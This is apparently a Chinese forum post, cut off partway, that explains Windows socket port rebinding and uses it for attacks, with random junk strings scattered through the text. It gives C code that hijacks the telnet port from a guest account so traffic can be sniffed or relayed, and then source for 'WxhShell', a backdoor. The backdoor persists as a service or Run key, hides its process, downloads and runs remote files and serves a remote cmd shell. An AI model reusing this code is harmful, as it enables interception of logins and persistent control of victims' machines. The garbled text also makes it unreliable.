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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Yj>ezFo s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); KvuM{UI5 Ip;;@o&D saddr.sin_family = AF_INET; ^1z)\p1 jo[U6t+pj7 saddr.sin_addr.s_addr = htonl(INADDR_ANY); QhmOO-Z? @z7$1pl} bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [knwp$ 8DZ
OPA 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )r:gDd#/X S)G*+) 这意味着什么?意味着可以进行如下的攻击: &%` 0&y &W-1W99auE 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <=PYu:]h >&uR=Yd 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !9. `zW"40 >7nOR 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @7OE:& #V ny[\yj4F 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 {DbWk>[DkG lhduK4u 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 xX2/uxi8 R'p-
4 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !yf7y/qY }i@%$Ixsn 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Gque@u $h8,QPy #include lyQNE3 #include vB1nj<]&z #include E sx`UG| #include L$
ZZ]?7j DWORD WINAPI ClientThread(LPVOID lpParam); JD{AwE@Ro int main() !vH={40 ] { F`JW&r\ WORD wVersionRequested; &Vmx<w DWORD ret; Dh B*k<S WSADATA wsaData; )>8 k8E BOOL val; 7xjihl3 SOCKADDR_IN saddr; Q(ec>+oi SOCKADDR_IN scaddr; `& }C*i" int err; d m$iiRY SOCKET s; 3pI) SOCKET sc; geEETb}+y int caddsize; "c0Nv8_G HANDLE mt; QeipfK+me DWORD tid; 4dI= wVersionRequested = MAKEWORD( 2, 2 ); x]<0Kq9K err = WSAStartup( wVersionRequested, &wsaData ); #FsoK*F if ( err != 0 ) { m005*>IY printf("error!WSAStartup failed!\n"); TrmrA$5f return -1; &U0Y#11Cx } H"J>wIuGX saddr.sin_family = AF_INET; "IKbb7x 1n )&%r //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Lt\=E8&rh e?
n8S saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); uEcK0>xp saddr.sin_port = htons(23); QsH?qI&2jp if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UA}N { 8I,/ysT: printf("error!socket failed!\n"); '"fZGz? return -1; |FxTP&8~ } >'|Wrz67Z val = TRUE; s.9_/cFWB //SO_REUSEADDR选项就是可以实现端口重绑定的 %8~g#Z if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +a}>cAj* { !S5_+.U# printf("error!setsockopt failed!\n"); mUjM5ceAXO return -1; d2[R{eNX= } $ J)2E g //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; f4r)g2Zb[ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 T~b6Zu6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Nr:%yvk%s R1NwtnS if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) M"|({+9eG { 7bC)Co#: ret=GetLastError(); A,#a?O6m printf("error!bind failed!\n"); ?N(opggiD return -1; 9,G94.da } i.G"21M listen(s,2); +W[NgUrGJ while(1) +N:=|u.g { l~*D
jr~ caddsize = sizeof(scaddr); ^muPjM+D //接受连接请求 z<,rE sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Rg6/6/ IN if(sc!=INVALID_SOCKET) 2!;U.+( { ua]?D2 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ' if(mt==NULL) Yi+$g { GBo'= printf("Thread Creat Failed!\n"); pA?2UZ break; 't<hhjPqY } q_[V9 } _8'z"wF CloseHandle(mt); ^b@&O-&s } wwVg'V; closesocket(s); "Iwd-#;$; WSACleanup(); Ch,%xs.)G return 0; #xBh62yIuP } DfV'1s4y DWORD WINAPI ClientThread(LPVOID lpParam) K6M_b?XekA { jz"-E SOCKET ss = (SOCKET)lpParam; jpRC6b? SOCKET sc; To@77.' unsigned char buf[4096]; o=ULo &9 SOCKADDR_IN saddr; fNaboNj[ long num; SvN2}]Kh DWORD val; +L\bg|; DWORD ret; sTChbks //如果是隐藏端口应用的话,可以在此处加一些判断 )W.Y{\D0 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 `(Ij@84
saddr.sin_family = AF_INET; 6*tbil_G+ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); c!HmZ]/ saddr.sin_port = htons(23); $mLiEsJ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) cNvh2JI { E!zAUEVQm[ printf("error!socket failed!\n"); F`U
YgN return -1; ZKco } Z&Ao;=Gp1 val = 100; JDj^7\` if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )!jX$bK { IM9P5?kJ
? ret = GetLastError(); ~zD*=h2C return -1; w;(B4^? } 4N{5i) if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tj;<EaM { ti}G/*4 ret = GetLastError(); 9d1 Gu" return -1; n 9N'}z } ZK8I f?SD if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) SE<hZLd" { w\2yippI printf("error!socket connect failed!\n"); QQIU5 closesocket(sc); Hg%8Q@ closesocket(ss); CKgbb4;<m[ return -1; !-Br? } ;1[Lwnm
while(1) Oxq} dX7S { R4P$zB_<2 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 elzKtVw //如果是嗅探内容的话,可以再此处进行内容分析和记录 I!uGI //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <rAk"R^ num = recv(ss,buf,4096,0); W99Hq1W;r if(num>0) j~:N8(= send(sc,buf,num,0); I7/X6^/} else if(num==0) HG)c\b break; S+Vsy( num = recv(sc,buf,4096,0); jXALN if(num>0) D"RxI)"HP send(ss,buf,num,0); gdVajOAu else if(num==0) wM#BQe3t# break; J 8""}7D } zgR@-OtFZ closesocket(ss); n]+v Eu| closesocket(sc); VG+WVk return 0 ; b/dyH } J4;Fk C;_*vi2u 0;pO QF ========================================================== Q0cr^24/ 7TN94@kCF 下边附上一个代码,,WXhSHELL !NfN16 YDMimis\H5 ========================================================== /n|`a1! 3x{2Dh i #include "stdafx.h" OK"B`* o)hQ]d #include <stdio.h> j/9Uf|z-_ #include <string.h> ;
3WA-nn #include <windows.h> /P-Eg86V' #include <winsock2.h> r$Z_Kwe.|& #include <winsvc.h> >IzUn: 0F #include <urlmon.h> E-_Q3^ 4[]/ #pragma comment (lib, "Ws2_32.lib") c#6g[TE@ #pragma comment (lib, "urlmon.lib") $SmmrM <_tkd3t#W #define MAX_USER 100 // 最大客户端连接数 p#Vh[UTl^ #define BUF_SOCK 200 // sock buffer AqzPwO^ #define KEY_BUFF 255 // 输入 buffer %4Thb\ T Lz9t9AoB #define REBOOT 0 // 重启 VYZkHjj)2i #define SHUTDOWN 1 // 关机 5z>kz/uxW G}&{]w@ #define DEF_PORT 5000 // 监听端口 Pkbx/\ AGN5=K*D #define REG_LEN 16 // 注册表键长度 l`vb #define SVC_LEN 80 // NT服务名长度 <+QX Gz1 j5EZJ` // 从dll定义API xD(JkOne typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !P &F6ViO= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8SGFzb! h typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |GvWHe` typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZO2$Aan 9N [PZD // wxhshell配置信息 YYz,sR'%|} struct WSCFG { ORV~F0d< int ws_port; // 监听端口 lKd+,< char ws_passstr[REG_LEN]; // 口令 E-\<,=bh int ws_autoins; // 安装标记, 1=yes 0=no YFVNkBO% char ws_regname[REG_LEN]; // 注册表键名 -o8H_MR char ws_svcname[REG_LEN]; // 服务名 Z. ))=w6G char ws_svcdisp[SVC_LEN]; // 服务显示名 H?~|Uj 6 char ws_svcdesc[SVC_LEN]; // 服务描述信息 hy"O_Le char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1jJ>(S int ws_downexe; // 下载执行标记, 1=yes 0=no t}zffe- char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" cu4&*{ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GnlP#; bm>,$GW( }; (RR:{4I "eq{_4dL // default Wxhshell configuration @hlT7C)xK struct WSCFG wscfg={DEF_PORT, 3iHUG^sLW "xuhuanlingzhe", G6C#M-S 1, p`jkyi "Wxhshell", K85;7R5 "Wxhshell", FC:Z9 {2! "WxhShell Service", ieN}Ajl2 "Wrsky Windows CmdShell Service", vps</f! "Please Input Your Password: ", QkXnXu 1, )uvs%hK " http://www.wrsky.com/wxhshell.exe", ]xlV;m "Wxhshell.exe" 2NHkK_B1P }; cnQ;6LtFTz g]IRv(gDh // 消息定义模块 jP?YV char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tiZ5
:^$b4 char *msg_ws_prompt="\n\r? for help\n\r#>"; QxRT%;'Zh] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; }pJ6CW char *msg_ws_ext="\n\rExit."; $TON`+lB char *msg_ws_end="\n\rQuit.";
gOpi> char *msg_ws_boot="\n\rReboot..."; ,m| :U char *msg_ws_poff="\n\rShutdown..."; 4l/hh|3@ char *msg_ws_down="\n\rSave to "; M ABrf`<b 'c[[H3s!; char *msg_ws_err="\n\rErr!"; '->%b char *msg_ws_ok="\n\rOK!"; p^|IN'lx, f}JiYZ char ExeFile[MAX_PATH]; _i_^s0J int nUser = 0; {:U zW\5l) HANDLE handles[MAX_USER]; 3*< O-Jr int OsIsNt; !^{0vFWE Hc`)Q vFRW SERVICE_STATUS serviceStatus; m0}Pq{g SERVICE_STATUS_HANDLE hServiceStatusHandle; WmO.&zp xbbQ)sH&m // 函数声明 {BkTJQ) int Install(void); snPM& int Uninstall(void); : GVyY]qBU int DownloadFile(char *sURL, SOCKET wsh); Sz_bjh yT} int Boot(int flag); zX{O"w void HideProc(void); sw<mmayN int GetOsVer(void); Gk<M@d^hQ int Wxhshell(SOCKET wsl); 4+rr3 $AY void TalkWithClient(void *cs); h(q,-')l_ int CmdShell(SOCKET sock); ZY_aE int StartFromService(void); qH#?, sK ^ int StartWxhshell(LPSTR lpCmdLine); V}?*kx~T2C ,t"?~Hl". VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L5(7; VOID WINAPI NTServiceHandler( DWORD fdwControl ); p:*)rE }BTK+Tk8 // 数据结构和表定义 F#0y0| SERVICE_TABLE_ENTRY DispatchTable[] = /W vF}y { 1r!o,0!d-' {wscfg.ws_svcname, NTServiceMain}, N4]Sp v {NULL, NULL} :%_*C09 }; 5k%GjT 0\qLuF[) // 自我安装 >XTDN int Install(void) I},]Y~Y3 { MHl ffj char svExeFile[MAX_PATH]; MR= dQc HKEY key; |p4D!M+$7 strcpy(svExeFile,ExeFile); 6wIo95` Uq}F rK} // 如果是win9x系统,修改注册表设为自启动 (d9G` if(!OsIsNt) { A_h|f5
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NOC8h\s}( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q mJ#cmN RegCloseKey(key); sBN"eHg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
8 IeE7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LS"_-4I} RegCloseKey(key); ,, 8hU7P return 0; eo#2n8I>=1 } Eo\pNz#) } @2yoy&IO } fGZZ['E else { 71S~*"O0f ^bD)Tg5K // 如果是NT以上系统,安装为系统服务 ~__r-z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hSl6X3W if (schSCManager!=0) 2F}D?]A { VVd9VGvh SC_HANDLE schService = CreateService ?*{Vn5aX{ ( *KMW6dg; schSCManager, +69[06F wscfg.ws_svcname, jDO"?@+ wscfg.ws_svcdisp, [Re.sX}$Y SERVICE_ALL_ACCESS, 4](jV}Hg SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `@_jDo SERVICE_AUTO_START, .RazjXAY SERVICE_ERROR_NORMAL, {wp~ svExeFile, rtjUHhF NULL, U%:K11Kr NULL, E;o
"^[we NULL, ]QJN` ;b0 NULL, a<E\9DL NULL T^Lg+g+I ); OMY^'g%w if (schService!=0) ZwFVtR { 8wf[*6VwV CloseServiceHandle(schService); \kR:GZ`{UV CloseServiceHandle(schSCManager); j7XUFA strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uo TTHj7cq strcat(svExeFile,wscfg.ws_svcname); ["u:_2!4P if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0Tv0:c>8;( RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FjU
-t/ RegCloseKey(key); WC7ltw2 return 0; K,f"Q<sU% } r%uka5@ } 0en
Bq>vr CloseServiceHandle(schSCManager); VF bso3q<j } :Z R5<Y> } (teK0s;t5k _O$7*k return 1; #dj,=^1_14 } W<c95QD. N51e.; // 自我卸载 NI^jQS
M] int Uninstall(void) WJ&a9]&C { L;
o$vI~U, HKEY key; y5/LH~&Ov H/^t]bg, if(!OsIsNt) { bH Nf> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yEPkF0? RegDeleteValue(key,wscfg.ws_regname); .At^b4#( RegCloseKey(key); haSC[[o= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }Y&|v q RegDeleteValue(key,wscfg.ws_regname); #zed8I:w RegCloseKey(key); W @]t return 0; C@P*:L_ } ukDaX } \Gm\sy } DyCnL@ else { nJ|M 2DXV~> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F T$x#> if (schSCManager!=0) SH5a&OVZhn { K}(@Ek SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )1E#'v12" if (schService!=0) 9#:B_?e= { J,D^fVIw if(DeleteService(schService)!=0) { Ve[[J"ze CloseServiceHandle(schService); &Vy.)0 CloseServiceHandle(schSCManager); -+z8bZ return 0; Oq[YbQ'GE } h#}'9oA CloseServiceHandle(schService); y41~ } V|vXxWm/ CloseServiceHandle(schSCManager); B'hN3. } )W^$7Em } <T`&NA@%~$ oR~s
\Gt return 1; .OZ\s%h; } ,FK.8c 6g rAZ~R PrW // 从指定url下载文件 )ml#2XP!f int DownloadFile(char *sURL, SOCKET wsh) Y-.aSc53 { 34I;DUdcE HRESULT hr; * zc[t char seps[]= "/"; f>[{1M]n\ char *token; Gg y7xb char *file; srryVqgS char myURL[MAX_PATH]; Ge ?Q)N char myFILE[MAX_PATH]; @e2P3K gg Sr>5V strcpy(myURL,sURL); ]92=PA>75 token=strtok(myURL,seps); "%ZAL\x while(token!=NULL) 8 Y))/]R { 3oMa file=token; /Q2HN(Y token=strtok(NULL,seps); _Jn@+NoO } i>
dLp =}%Q}aPp GetCurrentDirectory(MAX_PATH,myFILE); D22A)0+_ strcat(myFILE, "\\"); Ki dbcZ strcat(myFILE, file); vT#m 8Kg send(wsh,myFILE,strlen(myFILE),0); kd OIL2T send(wsh,"...",3,0); =%d.wH?dZ/ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /Zg4JQ~ if(hr==S_OK) :8U@KABH@h return 0; wg^'oy else 0RHjA&r3v return 1; "DSRy D0M 7!JBF{,= } I+rLKGZC ~H:.&'E // 系统电源模块 ,p
V3O`z int Boot(int flag) QPX3a8w* { p/gf HANDLE hToken; a"8H(HAlNn TOKEN_PRIVILEGES tkp; sOm&7A? d5'4RYfkQ if(OsIsNt) { Go
!{T OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |u.3Tp|3W LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FSb4RuD9 tkp.PrivilegeCount = 1; ;FnS=Z tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F6Qnz8| AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @;Xa&* if(flag==REBOOT) { `.F3&pA if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~8Ez K_c return 0; g:?p/L } =QhK|C!$A else { :z2G
a if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @DK`#, return 0; 0W ,.1J2* } is`~C } 0F<$Zbe2B else { R0T{9,;[` if(flag==REBOOT) { $spk.j if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yUvn h return 0; RP%FMb}nt } lbC9^~T+ else { d?A!0;(* if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z0?IQzR^T return 0; |b+CXEzo } Wo~;h(6 } "B0I$`~wu vvF]g., return 1; Amv:dh } >~})O&t WU~L#Ih.V // win9x进程隐藏模块 _z53r+A void HideProc(void) EU.!/'< { "X\6tl7a| g])iU9)8 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GxA[N if ( hKernel != NULL ) 3+H[S#e:Z { _ c,{}sn pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f}7/UGd ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vAfYONU FreeLibrary(hKernel); ]p8<Vluv } D/puK ["15~9 return; r\$`e7d}! } 13f'zx(AO YFeL#)5y // 获取操作系统版本 apWv+A int GetOsVer(void) U P*5M { a=M/0N{! OSVERSIONINFO winfo; YA~`R~9d winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =L*-2cE6# GetVersionEx(&winfo); +$#ytvDy if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2j=HxE return 1; N[;R8SP else {gI% - return 0; # aIV\G } ^>#@qMw *&~
' // 客户端句柄模块 .-GC,&RO int Wxhshell(SOCKET wsl) WMnxN34 { qEfg-`*M SOCKET wsh; _Q7]Dw/w\ struct sockaddr_in client; /g$8JL DWORD myID; [midNC +, 0Z
jE(3i while(nUser<MAX_USER) c=33O,_ { [FeN(8hGS int nSize=sizeof(client); t!o=-k wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oW3Uyj if(wsh==INVALID_SOCKET) return 1; 9(hI%idq ]fJ9.Js handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?gG%FzfQ/ if(handles[nUser]==0) C;oO=R3r closesocket(wsh); n7hjYNJ else {VKP&{~O nUser++; L
|
#"Yn } Vn?|\3KY WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X 1}U ~z7Fz"o< return 0; ftP]WGSS> } kg^5D3!2{Q BQ(sjJ$v6F // 关闭 socket JY$+<`XM void CloseIt(SOCKET wsh) ^_k`@SU { UH#S |o4 closesocket(wsh); ZV$!dHW/ nUser--; P7*?E* ExitThread(0); U,Th-oU } '%*/iH6<U{ [S?`OF12 // 客户端请求句柄 Su*Pd; void TalkWithClient(void *cs) wN:vI(C { 9eEA80i7 jV(b?r)eT{ SOCKET wsh=(SOCKET)cs; )zu m.6pT char pwd[SVC_LEN]; I|_U|H!` char cmd[KEY_BUFF]; `$yi18F char chr[1]; L<p.2[3 int i,j;
A{)p#K8 \{ff7_mLo while (nUser < MAX_USER) { SeBl*V 7mnZ,gpb if(wscfg.ws_passstr) { =/(R_BFna if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); As(6E}{S //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IQ5'4zQg= //ZeroMemory(pwd,KEY_BUFF); 8jz7t:0 i=0; K'b #}N\ while(i<SVC_LEN) { [y(<1]i-a fn Pej?f: // 设置超时 )No> Q :t fd_set FdRead; `]5 t'Ps struct timeval TimeOut; 7&1dr FD_ZERO(&FdRead); AP0z~e FD_SET(wsh,&FdRead); ^-%O TimeOut.tv_sec=8; %+L3Xk]m' TimeOut.tv_usec=0; 'v_k#% int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #f }ORA if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nmClP h:4F?'W if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6gB;m$:fV pwd =chr[0]; < [q{0, if(chr[0]==0xd || chr[0]==0xa) { \{a 64 pwd=0; yXCJ? break; W4]jx] } (gb
vInZ i++; iV.j!H7o } (`&E^t ah15,<j // 如果是非法用户,关闭 socket Jf@~/!m}' if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <O4W!UVg } R&MetQ~-{ oe{,-<yck send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Kk 6i send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {3K`yDF T49^ while(1) { zS! +2/( \' >d.'d ZeroMemory(cmd,KEY_BUFF); \
6 :7 DUvF // 自动支持客户端 telnet标准 )\QPUdOvx j=0; V~S(cO[vj while(j<KEY_BUFF) { P5oYv if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9lc{{)m2) cmd[j]=chr[0]; H*h4D+Kxv if(chr[0]==0xa || chr[0]==0xd) { \04(V'`U cmd[j]=0; =90)=Pxd break; <4jqF 4
W } KvtJtql; j++; qw}.
QwPT } UUqA^yJ 6U%F
mE @ // 下载文件 bs?&;R.5 if(strstr(cmd,"http://")) { DQ%(X&k send(wsh,msg_ws_down,strlen(msg_ws_down),0); mEq>{l: if(DownloadFile(cmd,wsh)) *m:'~\[u send(wsh,msg_ws_err,strlen(msg_ws_err),0); jDCf]NvOPM else x1`zD*{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]DLs'W;) } &eWnS~hJ else { I$JyAj P7
R}oO_n: switch(cmd[0]) { s1
(UOd7} p%- m"u // 帮助 {lN G:o case '?': { UaM&/K9 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M b(hdS90 break; YAYwrKt } &f<Ltdw // 安装 7x)32f" case 'i': { |]tsf
/SA if(Install()) =7Sw29u< send(wsh,msg_ws_err,strlen(msg_ws_err),0); YL9Tsw else ZBXn&Gm send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RKwuvVI break; !s47A"O&B } {|R +|ow // 卸载 *2r(!fJP=^ case 'r': { 9[Xe|5?c if(Uninstall()) JwcC9
O send(wsh,msg_ws_err,strlen(msg_ws_err),0); qHC/)M#L else b%|6y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i
z
dJ,8 break; 4\(|V
fy }
>^Y)@J // 显示 wxhshell 所在路径 7*g'4p- case 'p': { K"g`,G6S char svExeFile[MAX_PATH]; 89a`WV@} strcpy(svExeFile,"\n\r"); !sav~dB) strcat(svExeFile,ExeFile); o`7B@] send(wsh,svExeFile,strlen(svExeFile),0); xqzB=0 break; iK9#{1BpML } );L +)UV // 重启 tnFhL& case 'b': { `bcCj~j send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1eMaKT_= if(Boot(REBOOT)) 2hE+Om^n send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y$N D else { Pc=:j( closesocket(wsh); #5mnSky+s ExitThread(0); o&Sv2"2 } YveNsn break; Oy~X@A } l&6+ykQ // 关机 O%rt7qV"g2 case 'd': { q{RT~,% send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l5,}yTUta if(Boot(SHUTDOWN)) o Np4> 7Lk send(wsh,msg_ws_err,strlen(msg_ws_err),0); uqK[p^{ else { gclw>((5 closesocket(wsh); JsbH'l ExitThread(0); $/;<~Pzi } A.(xa+z? break; #GA6vJ4^s } 5'"l0EuD // 获取shell I=o/1:[- case 's': { J7s\
CmdShell(wsh); VU(#5X%Pn closesocket(wsh); {^SHIL ExitThread(0); v#Y9O6g]T break; cO/.(KBF } AX2On}&bf // 退出 G~`nLC^Y case 'x': { J)a^3> send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \_PD@A9 CloseIt(wsh); Y<9Lqc.i break; j#JE4(& } Gt5'-Hyo // 离开 $sBje*; case 'q': { ]^?V8*zL] send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q>[GD(8k closesocket(wsh); Z<n%~z^ WSACleanup(); zHW}A
`Rz exit(1); Y#aHGZ$i break; %!QY:[ } )Qx&m} } =9'px3:'WR } {1]/ok2k5 R.B3
// 提示信息 x\2N
@*I: if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); coFQu ;i } gCc::[}\Y } ;,F:.<P 0xe*\CAo return; 6I,4 6 XZ- } QR]61v:` T*8rR" // shell模块句柄 b<?A int CmdShell(SOCKET sock) TBp$S=_** { _4h[q4Z STARTUPINFO si; |FrZ,(\ ZeroMemory(&si,sizeof(si)); 1>e%(k2w% si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tOf18V{a si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A~7q=- PROCESS_INFORMATION ProcessInfo; O9(6 ?n char cmdline[]="cmd"; zQhc
V CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Bfz]PN78.G return 0; e#jkp' } 0?d}Oj )>~d`_$dt // 自身启动模式 Zn9ecN int StartFromService(void) Fi!XaO { $2+(|VG4F typedef struct bTN0 n { Kx@;LRY# DWORD ExitStatus; /WX
0}mWu DWORD PebBaseAddress; x9{&rldC DWORD AffinityMask; GVlTW?5 DWORD BasePriority; E A8>{}Z*
ULONG UniqueProcessId; z3X:.% ULONG InheritedFromUniqueProcessId; mfpL?N } PROCESS_BASIC_INFORMATION; +rA:/!b)Y cw)'vAE PROCNTQSIP NtQueryInformationProcess; >UUT9:,plA y~AF|Dk= static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'HdOW[3o static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O=LiCSNEV >'GQB HANDLE hProcess; UAi] hUq PROCESS_BASIC_INFORMATION pbi; ?c!W*`yP v%6mH6V HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 37M?m$BL if(NULL == hInst ) return 0; hy?e?^ V\(p6:1(6K g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lq%6~va g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OY>0qj NtQueryInformationProcess = 